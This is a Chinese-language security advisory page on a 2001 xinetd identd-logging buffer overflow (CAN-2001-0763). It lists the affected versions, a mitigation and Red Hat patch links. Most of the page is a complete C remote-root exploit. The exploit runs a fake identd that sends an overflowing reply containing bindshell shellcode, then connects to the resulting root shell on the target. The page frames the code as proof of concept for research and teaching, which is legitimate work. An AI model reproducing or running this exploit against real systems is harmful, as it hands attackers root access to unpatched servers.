首页 -> 安全研究
安全研究
安全漏洞
Xinetd缓冲区溢出漏洞
发布日期:2001-06-08
更新日期:2001-07-10
受影响系统:
描述:
Xinetd Xinetd 2.1.8.9pre9
Xinetd Xinetd 2.1.8.9pre8
Xinetd Xinetd 2.1.8.9pre7
Xinetd Xinetd 2.1.8.9pre6
Xinetd Xinetd 2.1.8.9pre5
Xinetd Xinetd 2.1.8.9pre4
Xinetd Xinetd 2.1.8.9pre3
Xinetd Xinetd 2.1.8.9pre2
Xinetd Xinetd 2.1.8.9pre15
+ RedHat Linux 7.1
+ RedHat Linux 7.0
Xinetd Xinetd 2.1.8.9pre14
Xinetd Xinetd 2.1.8.9pre13
Xinetd Xinetd 2.1.8.9pre12
Xinetd Xinetd 2.1.8.9pre11
Xinetd Xinetd 2.1.8.9pre10
Xinetd Xinetd 2.1.8.9pre1
Xinetd Xinetd 2.1.8.8
BUGTRAQ ID: 2840
CVE(CAN) ID: CAN-2001-0763
Xinetd可能存在一个缓冲区溢出漏洞,它可以通过identd来记录连接到特定服务的客户
机的用户身份,如果客户机支持这个特性的话。
如果攻击者伪造了identd的响应的话,就可能利用这个漏洞获得root权限或使Xinetd崩
溃,由inetd启动的服务,如Telnet,Ftp等都会拒绝服务。
<*来源:zen-parse (zen-parse@gmx.net) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
qitest1 <qitest1@cercaband.com>提供了如下测试代码:
/*
* xinetd-2.1.8.9pre11-1 Linux x86 remote root exploit
* by qitest1 28/06/2001
*
* This is a proof of concept code for the exploitation of the bof
* present in xinetd-2.1.8.9pre11-1. Read the advisories first. The
* code uses a single-byte corruption of the fp, as explained by klog.
* sc_addr_pos is the position, from the beginning of the writable
* area, where a pointer to the nop will be placed.
*
* For ethical reasons just one hardcoded target type will be provided.
* Its values work only against one of the bugged 'pre' releases of
* xinetd, installed on my Red Hat 6.2 box. Not for kiddies.
*
* Greets: zen-parse, for having found this bug
* klog, for his paper about the fp corruption
* all my friends on the internet =)
*
* 100% pure 0x69. =)
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>
#define MY_PORT 1
#define THEIR_PORT 23
#define IDENTD_PORT 113
#define FIRST_PAD 1009
struct targ
{
int def;
char *descr;
unsigned long int retaddr;
int sc_addr_pos;
};
struct targ target[]=
{
{0, "Red Hat 6.2 with xinetd-2.1.8.9pre11-1", 0xbffff44b, 985},
{69, NULL, 0}
};
char shellcode[] = /* Taeho Oh bindshell code at port 30464 */
"\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0"
"\x31\xdb\x89\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06"
"\x89\x46\x08\xb0\x66\xb3\x01\xcd\x80\x89\x06\xb0\x02\x66\x89"
"\x46\x0c\xb0\x77\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31"
"\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80"
"\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04"
"\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd"
"\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80"
"\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f"
"\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"
"\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff";
char zbuf[1024], host[512];
int sel = 0, offset = 0;
int sockami2(char *host, int my_port, int their_port);
void fake_identd(void);
void l33t_buf(void);
static void keep_clz(void) __attribute__ ((destructor));
void shellami(int sock);
void usage(char *progname);
int
main(int argc, char **argv)
{
int sock, cnt;
printf("\n xinetd-2.1.8.9pre11-1 exploit by qitest1\n\n");
if(getuid())
{
fprintf(stderr, "Must be root babe\n");
exit(1);
}
if(argc == 1)
usage(argv[0]);
host[0] = 0;
while((cnt = getopt(argc,argv,"h:t:o:s:")) != EOF)
{
switch(cnt)
{
case 'h':
strncpy(host, optarg, sizeof(host));
host[sizeof(host)] = '\x00';
break;
case 't':
sel = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
case 's':
target[sel].sc_addr_pos = atoi(optarg);
break;
default:
usage(argv[0]);
break;
}
}
if(host[0] == 0)
usage(argv[0]);
printf("+Host: %s\n as: %s\n", host, target[sel].descr);
target[sel].retaddr += offset;
printf("+Using: retaddr = %p and sc_addr_pos = %d...\n ok\n",
target[sel].retaddr, target[sel].sc_addr_pos);
printf("+Starting fake_identd...\n");
fake_identd();
return;
}
int
sockami2(char *host, int my_port, int their_port)
{
struct sockaddr_in address;
struct sockaddr_in my_addr;
struct hostent *hp;
int sock;
sock = socket(AF_INET, SOCK_STREAM, 0);
if(sock == -1)
{
perror("socket()");
exit(-1);
}
hp = gethostbyname(host);
if(hp == NULL)
{
perror("gethostbyname()");
exit(-1);
}
my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(my_port);
my_addr.sin_addr.s_addr = INADDR_ANY;
bzero(&(my_addr.sin_zero), 8);
if(bind(sock, (struct sockaddr *)&my_addr,
sizeof(struct sockaddr)) == -1)
{
perror("bind()");
exit(1);
}
memset(&address, 0, sizeof(address));
memcpy((char *) &address.sin_addr, hp->h_addr, hp->h_length);
address.sin_family = AF_INET;
address.sin_port = htons(their_port);
if(connect(sock, (struct sockaddr *) &address,
sizeof(address)) == -1)
{
perror("connect()");
exit(-1);
}
return(sock);
}
void
fake_identd(void)
{
int sockfd, new_fd, sin_size, rem_port, loc_port, i;
char rbuf[1024], sbuf[1024], cif[6], *ptr;
struct sockaddr_in my_addr;
struct sockaddr_in their_addr;
printf(" fake_identd forking into background\n");
if (!fork())
{
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("socket()");
exit(1);
}
my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(IDENTD_PORT);
my_addr.sin_addr.s_addr = INADDR_ANY;
bzero(&(my_addr.sin_zero), 8);
if(bind(sockfd, (struct sockaddr *)&my_addr,
sizeof(struct sockaddr)) == -1)
{
perror("bind()");
exit(1);
}
if(listen(sockfd, 1) == -1)
{
perror("listen()");
exit(1);
}
while(1)
{
sin_size = sizeof(struct sockaddr_in);
if((new_fd = accept(sockfd, (struct sockaddr *)&their_addr,
&sin_size)) == -1)
{
perror("accept()");
continue;
}
/* Fake session
*/
memset(rbuf, 0, sizeof(rbuf));
recv(new_fd, rbuf, sizeof(rbuf), 0);
/* Parsing of query
*/
ptr = rbuf; i = 0;
while(*ptr != ',')
{
cif[i] = *ptr;
*ptr++; i ++;
}
sscanf(cif, "%d", &rem_port);
memset(cif, 0, sizeof(cif));
*ptr++; i = 0;
while(*ptr != ' ')
{
cif[i] = *ptr;
*ptr++; i++;
}
sscanf(cif, "%d", &loc_port);
l33t_buf();
memset(sbuf, 0, sizeof(sbuf));
sprintf(sbuf, "%d,%d:USERID:%s\r\n",
rem_port, loc_port, zbuf);
send(new_fd, sbuf, strlen(sbuf), 0);
memset(rbuf, 0, sizeof(rbuf));
recv(new_fd, rbuf, sizeof(rbuf), 0);
/* End
*/
}
}
return;
}
void
l33t_buf(void)
{
int i, n = 0;
memset(zbuf, 0, sizeof(zbuf));
for(i = 0; i < FIRST_PAD; i++)
zbuf[i] = '\x69';
memset(zbuf, 0x90, target[sel].sc_addr_pos - 1);
for(i = target[sel].sc_addr_pos - strlen(shellcode);
i < target[sel].sc_addr_pos;
i++)
zbuf[i] = shellcode[n++];
zbuf[target[sel].sc_addr_pos + 0] =
(u_char) (target[sel].retaddr & 0x000000ff);
zbuf[target[sel].sc_addr_pos + 1] =
(u_char)((target[sel].retaddr & 0x0000ff00) >> 8);
zbuf[target[sel].sc_addr_pos + 2] =
(u_char)((target[sel].retaddr & 0x00ff0000) >> 16);
zbuf[target[sel].sc_addr_pos + 3] =
(u_char)((target[sel].retaddr & 0xff000000) >> 24);
return;
}
void
keep_clz(void)
{
int sock;
if(host[0] != 0)
{
printf("+Causing an auth request to our fake_identd\n");
sock = sockami2(host, MY_PORT, THEIR_PORT);
printf(" done\n");
close(sock);
printf("+Enjoy your root shell...\n 0x69 =)\n");
sleep(1);
sock = sockami2(host, 6969, 30464);
shellami(sock);
}
}
void
shellami(int sock)
{
int n;
char recvbuf[1024], *cmd = "id; uname -a\n";
fd_set rset;
send(sock, cmd, strlen(cmd), 0);
while (1)
{
FD_ZERO(&rset);
FD_SET(sock, &rset);
FD_SET(STDIN_FILENO, &rset);
select(sock+1, &rset, NULL, NULL, NULL);
if(FD_ISSET(sock, &rset))
{
n = read(sock, recvbuf, 1024);
if (n <= 0)
{
printf("Connection closed by foreign host.\n");
exit(0);
}
recvbuf[n] = 0;
printf("%s", recvbuf);
}
if (FD_ISSET(STDIN_FILENO, &rset))
{
n = read(STDIN_FILENO, recvbuf, 1024);
if (n > 0)
{
recvbuf[n] = 0;
write(sock, recvbuf, n);
}
}
}
return;
}
void
usage(char *progname)
{
int i = 0;
printf("Usage: %s [options]\n", progname);
printf("Options:\n"
" -h hostname\n"
" -t target\n"
" -o offset\n"
" -s sc_addr_pos\n"
"Available targets:\n");
while(target[i].def != 69)
{
printf(" %d) %s\n", target[i].def, target[i].descr);
i++;
}
exit(1);
}
建议:
建议:
暂时关闭xinetd的日志功能
厂商补丁:
Red Hat Linux (http://www.redhat.com/support/errata/index.html)为此发布了一份安全公告 :
RHSA-2001:092-02 - xinetd
http://www.redhat.com/support/errata/RHSA-2001-092.html
补丁下载 -
________________________________________________________________________
Red Hat Linux 7.0:
SRPMS:
ftp://updates.redhat.com/7.0/en/os/SRPMS/xinetd-2.3.0-1.71.src.rpm
alpha:
ftp://updates.redhat.com/7.0/en/os/alpha/xinetd-2.3.0-1.71.alpha.rpm
i386:
ftp://updates.redhat.com/7.0/en/os/i386/xinetd-2.3.0-1.71.i386.rpm
Red Hat Linux 7.1:
SRPMS:
ftp://updates.redhat.com/7.1/en/os/SRPMS/xinetd-2.3.0-1.71.src.rpm
alpha:
ftp://updates.redhat.com/7.1/en/os/alpha/xinetd-2.3.0-1.71.alpha.rpm
i386:
ftp://updates.redhat.com/7.1/en/os/i386/xinetd-2.3.0-1.71.i386.rpm
________________________________________________________________________
浏览次数:5127
严重程度:0(网友投票)
绿盟科技给您安全的保障